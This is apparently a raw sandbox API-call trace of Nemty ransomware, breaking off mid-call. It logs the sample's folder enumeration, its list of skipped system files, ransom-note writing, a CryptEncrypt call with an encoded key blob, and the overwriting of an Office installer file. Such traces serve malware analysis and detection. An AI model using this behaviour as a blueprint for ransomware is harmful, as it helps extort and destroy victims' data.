[0049.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.112] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0d540d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0d540d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0d540d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0049.112] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0049.112] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0049.112] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0049.112] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0049.113] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0049.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0049.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-0011-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0049.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0049.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-0011-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{91140000-0011-0000-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0049.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0049.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-0011-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0049.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0049.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-0011-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{91140000-0011-0000-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0049.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0049.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0049.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0049.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0049.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0049.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0049.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0049.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0049.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0049.114] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0049.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0049.115] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.115] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0049.116] CloseHandle (hObject=0x3c4) returned 1 [0049.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0049.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0049.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0049.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0049.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0049.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0049.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0049.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0049.117] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0049.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0049.118] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.118] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0049.119] CloseHandle (hObject=0x3c4) returned 1 [0049.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0049.119] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0f8f570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0f8f570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0049.119] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0049.119] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0f8f570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0f8f570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0049.119] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0049.119] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0049.119] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="..") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="...") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="windows") returned -1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="$RECYCLE.BIN") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="rsa") returned -1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="NTDETECT.COM") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntldr") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="MSDOS.SYS") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="IO.SYS") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot.ini") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot.ini") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="AUTOEXEC.BAT") returned 1 [0049.119] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntuser.dat") returned 1 [0049.120] lstrcmpiW (lpString1="Office32WW.msi", lpString2="desktop.ini") returned 1 [0049.120] lstrcmpiW (lpString1="Office32WW.msi", lpString2="CONFIG.SYS") returned 1 [0049.120] lstrcmpiW (lpString1="Office32WW.msi", lpString2="RECYCLER") returned -1 [0049.120] lstrcmpiW (lpString1="Office32WW.msi", lpString2="BOOTSECT.BAK") returned 1 [0049.120] lstrcmpiW (lpString1="Office32WW.msi", lpString2="bootmgr") returned 1 [0049.120] lstrcmpiW (lpString1="Office32WW.msi", lpString2="programdata") returned -1 [0049.120] lstrcmpiW (lpString1="Office32WW.msi", lpString2="appdata") returned 1 [0049.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0049.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0049.120] Sleep (dwMilliseconds=0x5) [0049.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0fb56d0, dwHighDateTime=0x1d561e7)) [0049.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0fb56d0, dwHighDateTime=0x1d561e7)) [0049.122] GetLastError () returned 0xb7 [0049.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.122] GetLastError () returned 0xb7 [0049.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.123] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.123] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="HPBpqN+NrSetFu6f+/0ftAUPaitgMJSmIwM7mqLG0vquLep6CfwazMTwEsZ2P953\r\nYmsr0pr0hSSVOnISay+fujWuXvSJ7EqpuG9gwwg54tInuc4kwjwiVIw72240Mtdm\r\nJ303it0QCd5NM9pW9yWn9Z9tGcfKT6oQfadm+Zyz3DYKhU+PM8Q2jkMQRxF/HWJC\r\nOp9YKDS/NB+jZ8UGG2iJZbPhfqRIX4er4PJEwC5ss0O+jfYIBnHexVG+Dlwjlxoo\r\nLwfLqNC1Ea4Z41k3hZa84VDflIOn2woKxWA+0Yopjq2yQTK1sa20cd/rXtE9uitM\r\nj9K9rw/+C6ZlygWlWbIFyA==\r\n", pcchString=0x653ef9c) returned 1 [0049.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.123] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.124] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1992192) returned 1 [0049.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0049.124] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.124] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0049.133] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.133] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0049.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.134] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1992192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6600 [0049.134] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.135] CloseHandle (hObject=0x3c8) returned 1 [0049.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0049.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0049.170] HeapFree (in: 